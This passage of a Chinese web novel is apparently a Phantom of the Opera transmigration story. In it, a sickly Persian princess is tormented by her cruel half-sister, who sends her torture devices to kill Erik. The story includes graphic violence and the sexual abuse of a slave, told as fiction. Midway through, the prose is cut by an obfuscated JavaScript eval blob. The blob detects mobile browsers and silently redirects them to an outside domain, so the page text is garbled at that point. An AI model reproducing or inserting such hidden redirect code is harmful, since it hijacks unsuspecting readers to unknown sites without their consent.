·
“啊——塞塔蕾……我的好妹妹——”
温热黏稠的黑色血液透出不祥,梅赫尔几乎尖叫着将她推开。
甚至扬手就想给她一巴掌!
“姐姐,你放心,我的血没毒的,毒不死你。”
塞塔蕾唇边全都是血,彻底染红了她洁白的衣襟,她的神情依然是平静的,但那双过于潜静的眼睛却泄露了所有。
疯狂地,不掩厌恶,甚至带着恶作剧得逞之后的恶劣,让人莫名忌惮。
她黑洞洞的袖口毫不忌讳地无声对准她,仿佛她再敢妄动,下一个死的人就是她。
梅赫尔的巴掌停在了半空,第一次心底居然产生了类似屈辱的心理。
但她……居然会在一个废物面漆那感到屈辱?
实在是荒谬!
然而事到如今,她不得不重新审视她眼前这个同父异母的妹妹,心情不知怎地愈发暴戾。
她这个病弱残废的妹妹无疑地是漂亮的,甚至长相、发色、气质都是独一份的。
波斯帝国血统的长相总是过于硬朗深邃而失去了应有的柔美。
以至于稍有不慎……便会被错认成男子。
可塞塔蕾这个杂种不会,她既有波斯高加索人种的血统,也有遥远的文明国度的柔和温婉,两种气质相结合,恨不得让人将她纤细的脖颈给折断。
而且她非常白,像是整日照不见阳光的那种白,脸庞小巧玲珑且精致,头发也是罕见的银白,一颦一蹙间有着说不上来的神秘和气韵。
梅赫尔极度讨厌塞塔蕾,恨不得杀死她。
但她的父王留着她还有用,如果不是那位被那位大贵族的儿子给看上,并且定她为未婚妻,她早就将她的头颅割下来制成喝酒的容器,给万人尝。
现在,她想杀她的想法愈发强烈,不论因为她的美貌还是她刚刚的挑衅,无一不让她感到厌憎。
偏偏她现在拿她无可奈何。
无人知晓,站在尸体堆旁的那抹影子也隐在阳光之后静静地盯着她,面具之后的眼睛明灭闪烁,血液开始悄无声息地沸腾,他却毫无知觉。
“姐姐,愿赌服输,你给我送的这份礼物我带走了,你好好休息。”
塞塔蕾的态度赫然强硬起来,根本不让梅赫尔有任何置喙的余地。
梅赫尔被她的血迷糊了双眼,连瞪她都没有机会,更别说她还尝到了她刚刚吐出来的肮脏的血液,那血液甚至是黑色的有毒,她连骂她的力气都没有。
但她并不想看见她和这个恶魔之子和平相处,又是让人找来了一个更狭窄的铁笼,还不知道从哪里给他找来了麻痹枪,直接给埃里克来上一枪。
埃里克应声倒地,又是被拖进了满布机关和利刃的牢笼里。
塞塔蕾无法阻止,却是更加厌恶她这个臭名昭著的姐姐。
“救……救……啊——”
然而,就在塞塔蕾想要带着埃里克赶快离开的时候,又是突兀地出现一声绝望沙哑的求救声。
一个不着寸缕还满身血污的年轻男奴突然扑倒在塞塔蕾的轮椅旁。
后面一条浸满了盐水的皮鞭如影如至,“啪”一下打在男奴的背上,又是带起一条深刻血痕。
“贱奴!还敢逃?逃去哪里?!”
那男奴被打得皮开肉绽,一口血吐到了塞塔蕾洁白的裙摆上,满带血腥的皮鞭末梢也一同扫到塞塔蕾的羊皮靴上。
他伸手,紧紧攥着塞塔蕾的裙摆,努力往上看与她对视,希望她能带走她。
塞塔蕾皱了眉,梅赫尔看她一副为难的模样,也顾不得自己的身体,暧昧地娇笑起来:“我的好妹妹……应该还没尝试过男人的滋味?”
“这个男奴送给你怎么样?可是今天新来的,我还没来得及享用。”
梅赫尔来到那名男奴面前,将半是昏迷半是清醒的男奴用脚踢着翻了个面,对着他那处踩了上去:“你看,男人就是贱,刚刚还不想伺候我,现在却是在污染我的眼睛乞求我的垂怜——”
“妹妹,要不要……也来试一下控制?反正只是一名奴隶,你的未婚夫这么爱你,定然不会介意的。”
“姐姐给我的自然是最好的。”
塞塔蕾脸上的表情已经完全敛了起来,但她的语气依然是温顺的,无可挑剔的,看着地上那个被踩得奄奄一息可能变成废物的男奴也没有任何的怜悯。
梅赫尔看了她好一会儿,忽而觉得她这个妹妹比她还要冷血,更加像是天生的怪物。
怪物……自然要和怪物在一起,她既然这么喜欢那只杀不死命硬的怪物,连伪装都懒得,将他送给她又何尝不可?
她可不相信她能在那怪物手底下活过3天。
她的父王说了塞塔蕾这个杂种还有用不能真的杀了她。
但是,她如果真的因为意外而死掉,到时候谁都无法责怪她。
本来她还想将她的命留下来,让她多活几天,可现在……她只想她立即死在她面前。
最终,她只能眼睁睁地看着她毫发无损地离开,满载而归。
梅赫尔来不及将自己的身体清理干净,依然觉得心里不岔,不好好折磨她一番看她挣扎,她总觉得无法出今天心里的一口恶气。
她思前想后,最后亲手写了一封信让她的大侍女阿嘉琳给塞塔蕾带过去,眼底渗出看好戏的恶毒。
*
塞塔蕾随后又用了1个多小时才回到她那座四处都漏风的简陋宫殿。
她所住的地方离梅赫尔的宫殿隔了十万八千里,梅赫尔所住的宫殿是整个波斯帝国皇宫的正中位置,金碧辉煌、奢靡浮华,要什么有什么,甚至引入温泉泉水给梅赫尔享用。
所有的所有全都是奢华且彰显国王权力的表现,羡煞旁人,和她所住的破败宫殿不能同日而语。
说是塞塔蕾不想住梅赫尔那样的宫殿?那自然是不可能的。
但现在很显然地,她还没有找到一个合适的契机去改变自己的命运。
一方面是,她根本搞不懂原主的身世,不知道为什么梅赫尔这么讨厌她,又还是单纯地想要找一个背锅的人去维护她身上的好名声。
毕竟,外界都知道她这个姐姐漂亮善良、乐善好施且素有贤德,是国王最受宠的女儿,全波斯最喜欢的公主。
相反地,她这个公主身世不明、残酷不仁、花心又病弱,什么恶毒的脏水都往她身上泼,成为皇室臭名昭著的代表。
她一个NPC,在书里连名字都没有的……想要翻身?那的确是太难了点。
回来的路上,她再次嗅到了阵阵让人难以承受的血腥气,掀开帘子看了看,看见外面有几个身材高大的侍卫正拖着几具死状各异的尸体横行而过。
那些尸体不是缺了头便是缺了胳膊,要么整个下半身都没了,拖出一条条濡湿不祥的血痕,看着便残忍血腥。
塞塔蕾觉得自己病弱的身体好像更病弱了。
她穿越前是种花家的人,那个和平的国度……从未有这样的事情发生。
第一次看见这些的时候,她几乎要干呕出来。
即使原主好像对这样的景象习以为常。
但她现在好像也能理解,因为书中的波斯帝国就是这样的设定。
即使现在是19世纪,波斯帝国在历史上已经没落,可小说里这个背景板可不得了,起码魅影埃里克一生真正的起点是在这里。
如果没有波斯国王——也即是原主的父亲鼎力相助,提供各种各样特级残暴的资源给他的话,哪里会有这本书的后续?
而现在,再次看见她也已经做到内心毫无波澜了。
就只是奇怪的是……她拼命回忆原著,似乎并没有如此血腥恐怖的情景?即使原著是一本悬疑爱情小说,也有杀人命案发生。
但……并没有如同现在这般都堪称毁灭人道了。
尤其她那个姐姐做的事情……也不枉多让。
*
塞塔蕾一回到她的宫殿就已经病了,根本来不及去看还被关在铁笼里的埃里克一眼。
只觉对方真的是多灾多难。
她宫殿里有两名侍女,一名看上去都有50岁了,头发花白,一直佝偻着腰,看见她回来立即和另外一名年轻却是患有哑疾的侍女迎了上来。
“啊、啊啊——”
年轻的侍女速度比年老的要快上很多,看见塞塔蕾脸上透出不正常的红晕,立即担心地叫唤几声,却只能发出含糊不清的声音。
塞塔蕾依然坐在轮椅上,她浑身都在发着热,身上还起了红疹,病得都有些混混沌沌的,听见侍女的声音,还是艰难地睁眼看了她一眼:“我没事,别哭,烦死人啦。”
年轻的侍女名叫阿拉格,听见她这样说立即闭上嘴,另外年迈的侍女也走上前来伸手探了探她的额头,果然滚烫一片。
每次塞塔蕾公主去梅赫尔那边总会有各种各样的事情发生,每次回来总会生病,身体一次比一次弱。
阿斯雅那双浑浊的眼睛忧愁地看着塞塔蕾,真的不知道她还能活多久。
塞塔蕾在昏睡过去之前还是报了一些自己想吃的东西,虽然不知道这副身体能活多久,可她总不能亏待自己的。
而且,也让她们暂时别碰埃里克,谁都不知道他会不会突然暴起杀人。
阿拉格听见她虚弱的声音又是想哭。
“别哭,哭是没用的,倒不如想一想怎么样搞到药给殿下服用。”阿斯雅在皇宫里这么多年,什么事情没遇到过?
冬天寒冷,取暖都成问题,塞塔蕾能熬过这个冬天……也已经是奇迹。
*
“砰啪——”
“砰啪啪——”
塞塔蕾是被几声重物砸落的声音惊醒的。
醒来后她还是混混沌沌的,并不特别舒服。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16138053|180336||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“这里连壁炉都没有吗?冷到死——真晦气。”
有个侍女小声骂了一句,塞塔蕾立即认出那是梅赫尔身边大侍女阿嘉琳的声音。
她大概看见她醒来了,手里还拿了一封信,清了清嗓子,传达梅赫尔的意思:“塞塔蕾公主,这是梅赫尔公主殿下给你的信,这些……”
她指了指旁边几个封得严严实实的箱子,“都是梅赫尔公主殿下给你的礼物,希望你能好好利用哦。”
阿嘉琳的声音听着十分幸灾乐祸,塞塔蕾静静地听她说完,在她快要离开之前突然浅声说道:“回去后记得让姐姐……这几天不要玩男人,不然——”
她并没有说之后的话,只是幽冷破败的宫殿……明灭不定的烛光,似有若无的话声……无一不提醒阿嘉琳如果……不按照她话里的意思去做的话,很可能梅赫尔会有更大的麻烦。
阿嘉琳脚步一顿,忍不住回头看了一眼床上那抹幽深孱弱的人影,赫然对上她冰蓝色明灭不定的眼睛,如雪灵般银白诡异的头发,被吓得一个激灵,几乎跌下楼梯,连滚带爬地离开。
塞塔蕾听着外面的动静复又闭上眼睛。
然而,她感受到黑暗之中似乎有另外一双眼睛正静静地注视着她,像一缕烟雾,也像游走在黑暗湖水里的蛇信,若有似无地触碰、舔舐,令人浑身不适。
塞塔蕾只觉身上更痒了,她睁开眼睛,从床上艰难坐了起来,侍女阿拉格已经上来了,手里还端着食物和汤药,透出苦涩的气味。
“啊、啊啊——”阿拉格看见她醒来很是高兴,但看见满屋子都是那些箱子她则是很愤怒。
梅赫尔给她们送的肯定不是好东西,这次又不知道要怎么样去折磨她们公主。
“刚刚阿嘉琳留下了一封信,你拿过来给我看看。”塞塔蕾发现自己身上还起红疹了,手上星星点点的,格外触目惊心。
她忍着痕痒先吃东西,过后再喝药,然后再想想如何去处理埃里克的事情。
不论如何,都不能亏待自己。
阿拉格很快便将信给拿了过来,塞塔蕾将信展开来看,发现上面写了几句极其恶毒的话:
“塞塔蕾,我亲爱的妹妹,这个卑贱的恶魔之子和你一样都是个残废,你和他简直是绝配——”
“来吧,用尽各种方法弄死他,当作姐姐今年送给你的生辰礼。”
“记住,7天之内缓慢地将他折磨而死,可不要作弊哦——”
“不然……我会让你心爱的未婚夫悄无声息死去。”
……
塞塔蕾将信反反复复看了几遍,让阿拉格将面前所有的箱子都打开。
阿拉格将其中一个箱子打开,当看清楚里面的东西时几乎是往后跌去,双眼圆睁,恐惧至极。
塞塔蕾拿了旁边的拐杖下地,来到那些箱子前,一箱箱地打开。
眼前这5、6个箱子……里面无一例外都装着极其骇人的刑具,鞭子、带有尖刺的项圈那都是最基本的,别的……类似血滴子那些,还有那种扩……什么的简直吓人眼球。
梅赫尔现在的意思便是……让她用这些刑具去折磨她今天带回来的埃里克,还要在7天之内弄死他,不然就要杀死她的未婚夫。
“那个铁笼呢在哪里?”塞塔蕾问阿拉格。
“啊啊——”阿拉格比划了几下,塞塔蕾立即明白她没见到什么铁笼,不知道指的是什么人。
塞塔蕾赫然明白,这是梅赫尔的有意为之,目的就是将埃里克给藏起来,要她去找出来再折磨。
不然……她就等着被脾气古怪还极其残忍的埃里克所折磨。
“哐啦——铛——”
“哐啦——哐啦——”
寂静幽暗的老旧宫殿之中,不知道是塞塔蕾错觉,她居然听见一阵阵诡异又清脆的铁链拉动的声音,一声声划人头皮扼人咽喉,空气开始变得稀薄,连呼吸都变得困难。
不远处烛台上,残烛“噼啪”一声爆响,火光一闪,完全陷入黑暗之中,唯有墙上镜子极快地闪过一抹沉默诡异的轮廓。
寒风呼啸,蚀人肺腑。
“砰啪——”
紧接着,阿拉格毫无预兆地倒在地上,塞塔蕾来不及去查看她的情况,便察觉自己的脚踝被不知道什么冰凉的东西给套住。
她双脚本就无力,突如其来的外力让她站立不稳就要往后倒去,然而,她又是察觉出腰后不知何时抵上了一把尖刀,穿透衣料冷冷地刺破她的肌肤,浓烈的血腥之气随即而来。
更要命的是,她脖颈也不知在何时多了一把锋利的匕首,锋利到随时都能割破她的喉咙。
塞塔蕾能感受到身后有一抹如同幽灵一般高瘦削薄的人影贴近她,死寂得几乎没有存在感。
可她还是察觉到他身上有一滴滚烫的血滴落在她的脖颈上,沿着肩窝、锁骨……一路往下,完全没入她的体内——